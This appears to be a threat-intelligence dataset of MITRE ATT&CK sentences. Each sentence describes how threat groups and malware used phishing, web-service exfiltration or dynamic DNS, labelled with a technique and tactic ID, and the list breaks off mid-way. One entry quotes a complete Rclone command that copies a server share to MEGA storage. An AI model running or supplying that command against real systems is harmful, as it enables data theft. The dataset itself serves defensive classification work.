sarahwei/cyber_MITRE_CTI_dataset_v15 huggingface dataset:
Tropic Trooper sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
WIRTE has sent emails to intended victims with malicious MS Word and Excel attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Windshift has sent spearphishing emails with attachment to harvest credentials and deliver malware.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Wizard Spider has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either Emotet, Bokbot, TrickBot, or Bazar.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
admin@338 has sent emails with malicious Microsoft Office documents attached.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
menuPass has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
The primary delivered mechanism for Agent Tesla is through email phishing messages.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
AppleSeed has been distributed to victims through malicious e-mail attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Astaroth has been delivered via malicious e-mail attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
BADFLICK has been distributed via spearphishing campaigns containing malicious Microsoft Word documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
BLINDINGCAN has been delivered by phishing emails containing malicious Microsoft Office documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Bandook is delivered via a malicious Word document inside a zip file.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Bisonal has been delivered as malicious email attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Bumblebee has gained execution through luring users into opening malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Chaes has been delivered by sending victims a phishing email containing a malicious .docx file.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Clambling has been delivered to victim's machines through malicious e-mail attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
DanBot has been distributed within a malicious Excel attachment via spearphishing emails.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
DarkGate can be distributed through emails with malicious attachments from a spoofed email address.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
DarkTortilla has been distributed via spearphishing emails containing archive attachments, with file types such as .iso, .zip, .img, .dmg, and .tar, as well as through malicious documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
DarkWatchman has been delivered via spearphishing emails that contain a malicious zip file.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Emotet has been delivered by phishing emails containing attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
EnvyScout has been distributed via spearphishing as an email attachment.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Flagpro has been distributed via spearphishing as an email attachment.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Hancitor has been delivered via phishing emails with malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
IcedID has been delivered via phishing e-mails with malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
JSS Loader has been delivered by phishing emails containing malicious Microsoft Excel attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Javali has been delivered as malicious e-mail attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
KOCTOPUS has been distributed via spearphishing emails with malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
KONNI has been delivered via spearphishing campaigns through a malicious Word document.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
KOPILUWAK has been delivered to victims as a malicious email attachment.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Kerrdown has been distributed through malicious e-mail attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Lokibot is delivered via a malicious XLS attachment contained within a spearhpishing email.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Metamorfo has been delivered to victims via emails with malicious HTML attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
NETWIRE has been spread via e-mail campaigns utilizing malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
OceanSalt has been delivered via spearphishing emails with Microsoft Office attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Octopus has been delivered via spearsphishing emails.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
OutSteel has been distributed as a malicious attachment within a spearphishing email.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
PoetRAT was distributed via malicious Word documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Pony has been delivered via spearphishing attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
QakBot has spread through emails with malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
REvil has been distributed via malicious e-mail attachments including MS Word Documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
ROKRAT has been delivered via spearphishing emails that contain a malicious Hangul Office or Microsoft Word document.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
RTM has been delivered via spearphishing attachments disguised as PDF documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Ramsay has been distributed through spearphishing emails with malicious attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Rifdoor has been distributed in e-mails with malicious Excel or Word documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
SVCReady has been distributed via spearphishing campaigns containing malicious Mircrosoft Word documents.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Saint Bot has been distributed as malicious attachments within spearphishing emails.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Snip3 has been delivered to victims through malicious e-mail attachments.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Squirrelwaffle has been distributed via malicious Microsoft Office documents within spam emails.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Taidoor has been delivered through spearphishing emails.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
ThreatNeedle has been distributed via a malicious Word document within a spearphishing email.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Valak has been delivered via spearphishing e-mails with password protected ZIP files.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
WarzoneRAT has been distributed as a malicious attachment within an email.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
Woody RAT has been delivered via malicious Word documents and archive files.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
ZxxZ has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment.
Technique: T1566.001 Phishing: Spearphishing Attachment, Tactic: TA0001 Initial Access
During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
During C0021, the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
During Night Dragon, threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
During Operation Dream Job, Lazarus Group sent malicious OneDrive links with fictitious job offer advertisements via email.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
During Operation Dust Storm, the threat actors sent spearphishing emails containing a malicious link.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
During Operation Spalax, the threat actors sent phishing emails to victims that contained a malicious link.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT1 has sent spearphishing emails containing hyperlinks to malicious files.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT28 sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT29 has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT3 has sent spearphishing emails containing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT32 has sent spearphishing emails containing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT33 has sent spearphishing emails containing links to .hta files.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
APT39 leveraged spearphishing emails with malicious links to initially compromise victims.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
BlackTech has used spearphishing e-mails with links to cloud services to deliver malware.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Cobalt Group has sent emails with URLs pointing to malicious documents.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Confucius has sent malicious links to victims through email campaigns.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
EXOTIC LILY has relied on victims to open malicious links in e-mails for execution.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Earth Lusca has sent spearphishing emails to potential targets that contained a malicious link.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Ember Bear has sent spearphishing emails containing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Evilnum has sent spearphishing emails containing a link to a zip file hosted on Google Drive.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
FIN4 has used spearphishing emails (often sent from compromised accounts) containing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
FIN7 has conducted broad phishing campaigns using malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
FIN8 has distributed targeted emails containing links to malicious documents with embedded macros.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Kimsuky has sent spearphishing emails containing a link to a document that contained malicious macros or took the victim to an actor-controlled domain.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Lazarus Group has sent malicious links to victims via email.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
LazyScripter has used spam emails that contain a link that redirects the victim to download a malicious document.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Leviathan has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
LuminousMoth has sent spearphishing emails containing a malicious Dropbox download link.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Machete has sent phishing emails that contain a link to an external server with ZIP and RAR archives.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Magic Hound has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download Pupy.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Mofang delivered spearphishing emails with malicious links included.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Molerats has sent phishing emails with malicious links included.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
MuddyWater has sent targeted spearphishing e-mails with malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Mustang Panda has delivered malicious links to their intended targets.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Mustard Tempest has sent victims emails containing links to compromised websites.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
OilRig has sent spearphising emails with malicious links to potential victims.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Patchwork has used spearphishing with links to deliver files with exploits to initial victims.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Sandworm Team has crafted phishing emails containing malicious hyperlinks.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Sidewinder has sent e-mails with malicious links often crafted for specific targets.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
TA2541 has used spearphishing e-mails with malicious links to deliver malware.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
TA505 has sent spearphishing emails containing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Transparent Tribe has embedded links to malicious downloads in e-mails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Turla attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Windshift has sent spearphishing emails with links to harvest credentials and deliver malware.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Wizard Spider has sent phishing emails containing a link to an actor-controlled Google Drive document or other free online file hosting services.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
ZIRCONIUM has used malicious links in e-mails to deliver malware.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
AADInternals can send "consent phishing" emails containing malicious links designed to steal users’ access tokens.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
AppleJeus has been distributed via spearphishing link.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Bazar has been spread via emails with embedded malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Bumblebee has been spread through e-mail campaigns with malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
DarkGate is distributed in phishing emails containing links to distribute malicious VBS or MSI files. DarkGate uses applications such as Microsoft Teams for distributing links to payloads.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Emotet has been delivered by phishing emails containing links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Grandoreiro has been spread via malicious links embedded in e-mails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
GuLoader has been spread in phishing campaigns using malicious web links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Hancitor has been delivered via phishing emails which contained malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Javali has been delivered via malicious links embedded in e-mails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
KOCTOPUS has been distributed as a malicious link within an email.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Kerrdown has been distributed via e-mails containing a malicious link.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Melcoz has been spread through malicious links embedded in e-mails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Mispadu has been spread via malicious links embedded in emails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
NETWIRE has been spread via e-mail campaigns utilizing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
OutSteel has been distributed through malicious links contained within spearphishing emails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Pony has been delivered via spearphishing emails which contained malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
QakBot has spread through emails with malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Saint Bot has been distributed through malicious links contained within spearphishing emails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Snip3 has been delivered to victims through e-mail links to malicious files.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
SocGholish has been spread via emails containing malicious links.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
SpicyOmelette has been distributed via emails containing a malicious link that appears to be a PDF document.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Squirrelwaffle has been distributed through phishing emails containing a malicious URL.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
TrickBot has been delivered via malicious links in phishing e-mails.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
Valak has been delivered via malicious links in e-mail.
Technique: T1566.002 Phishing: Spearphishing Link, Tactic: TA0001 Initial Access
During Operation Dream Job, Lazarus Group sent victims spearphishing messages via LinkedIn concerning fictitious jobs.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
APT29 has used the legitimate mailing service Constant Contact to send phishing e-mails.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
Ajax Security Team has used various social media channels to spearphish victims.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
CURIUM has used social media to deliver malicious files to victims.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
Dark Caracal spearphished victims via Facebook and Whatsapp.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
EXOTIC LILY has used the e-mail notification features of legitimate file sharing services for spearphishing.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
FIN6 has used fake job advertisements sent via LinkedIn to spearphish targets.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
Lazarus Group has used social media platforms, including LinkedIn and Twitter, to send spearphishing messages.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
Magic Hound used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
OilRig has used LinkedIn to send spearphishing links.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
ToddyCat has sent loaders configured to run Ninja as zip archives via Telegram.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
Windshift has used fake personas on social media to engage and target victims.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
Ninja has been distributed to victims via the messaging app Telegram.
Technique: T1566.003 Phishing: Spearphishing via Service, Tactic: TA0001 Initial Access
During C0027, Scattered Spider impersonated legitimate IT personnel in phone calls to direct victims to download a remote monitoring and management (RMM) tool that would allow the adversary to remotely control their system.
Technique: T1566.004 Phishing: Spearphishing Voice, Tactic: TA0001 Initial Access
During C0017, APT41 used Cloudflare services for data exfiltration.
Technique: T1567 Exfiltration Over Web Service, Tactic: TA0010 Exfiltration
APT28 can exfiltrate data over Google Drive.
Technique: T1567 Exfiltration Over Web Service, Tactic: TA0010 Exfiltration
Magic Hound has used the Telegram API `sendMessage` to relay data on compromised devices.
Technique: T1567 Exfiltration Over Web Service, Tactic: TA0010 Exfiltration
AppleSeed has exfiltrated files using web services.
Technique: T1567 Exfiltration Over Web Service, Tactic: TA0010 Exfiltration
DropBook has used legitimate web services to exfiltrate data.
Technique: T1567 Exfiltration Over Web Service, Tactic: TA0010 Exfiltration
ngrok has been used by threat actors to configure servers for data exfiltration.
Technique: T1567 Exfiltration Over Web Service, Tactic: TA0010 Exfiltration
Empire can use GitHub for data exfiltration.
Technique: T1567.001 Exfiltration Over Web Service: Exfiltration to Code Repository, Tactic: TA0010 Exfiltration
During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
During Operation Dream Job, Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Akira will exfiltrate victim data using applications such as Rclone.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Chimera has exfiltrated stolen data to OneDrive accounts.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Cinnamon Tempest has uploaded captured keystroke logs to the Alibaba Cloud Object Storage Service, Aliyun OSS.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Confucius has exfiltrated victim data to cloud storage service accounts.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
FIN7 has exfiltrated stolen data to the MEGA file sharing site.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
HAFNIUM has exfiltrated data to file sharing sites, including MEGA.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
HEXANE has used cloud services, including OneDrive, for data exfiltration.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
LuminousMoth has exfiltrated data to Google Drive.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Scattered Spider has exfiltrated victim data to the MEGA file sharing site.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Threat Group-3390 has exfiltrated stolen data to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
ToddyCat has used a DropBox uploader to exfiltrate stolen files.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Turla has used WebDAV to upload stolen USB files to a cloud drive. Turla has also exfiltrated stolen files to OneDrive and 4shared.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Wizard Spider has exfiltrated stolen victim data to various cloud storage providers.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
ZIRCONIUM has exfiltrated stolen data to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
BoomBox can upload data to dedicated per-victim folders in Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Clambling can send files from a victim's machine to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
CreepyDrive can use cloud services including OneDrive for data exfiltration.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Crutch has exfiltrated stolen data to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Empire can use Dropbox for data exfiltration.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Octopus has exfiltrated data to file sharing sites.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Pcexter can upload stolen files to OneDrive storage accounts via HTTP `POST`.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
ROKRAT can send collected data to cloud storage services such as PCloud.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
RainyDay can use a file exfiltration tool to upload specific files to Dropbox.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.
Technique: T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage, Tactic: TA0010 Exfiltration
During C0026, the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
During Night Dragon, threat actors used dynamic DNS services for C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
For Operation Dust Storm, the threat actors used dynamic DNS domains from a variety of free providers, including No-IP, Oray, and 3322.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
For Operation Spalax, the threat actors used dynamic DNS services, including Duck DNS and DNS Exit, as part of their C2 infrastructure.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
During the SolarWinds Compromise, APT29 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
APT29 has used Dynamic DNS providers for their malware C2 infrastructure.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
BITTER has used DDNS for C2 communications.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
Gamaredon Group has incorporated dynamic DNS domains in its infrastructure.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
TA2541 has used dynamic DNS services for C2 infrastructure.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
Transparent Tribe has used dynamic DNS services to set up C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
AsyncRAT can be configured to use dynamic DNS.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
Bisonal has used a dynamic DNS service for C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
Gelsemium can use dynamic DNS domain names in C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
Maze has forged POST strings with a random choice from a list of possibilities including "forum", "php", "view", etc. while making connection with the C2, hindering detection efforts.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
NETEAGLE can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
RTM has resolved Pony C2 server IP addresses by either converting Bitcoin blockchain transaction data to specific octets, or accessing IP addresses directly within the Namecoin blockchain.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
SUNBURST dynamically resolved C2 infrastructure for randomly-generated subdomains within a parent domain.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
Tomiris has connected to a signalization server that provides a URL and port, and then Tomiris sends a GET request to that URL to establish C2.
Technique: T1568 Dynamic Resolution, Tactic: TA0011 Command and Control
TA505 has used fast flux to mask botnets by distributing payloads across multiple IPs.
Technique: T1568.001 Dynamic Resolution: Fast Flux DNS, Tactic: TA0011 Command and Control
menuPass has used dynamic DNS service providers to host malicious domains.
Technique: T1568.001 Dynamic Resolution: Fast Flux DNS, Tactic: TA0011 Command and Control
Amadey has used fast flux DNS for its C2.
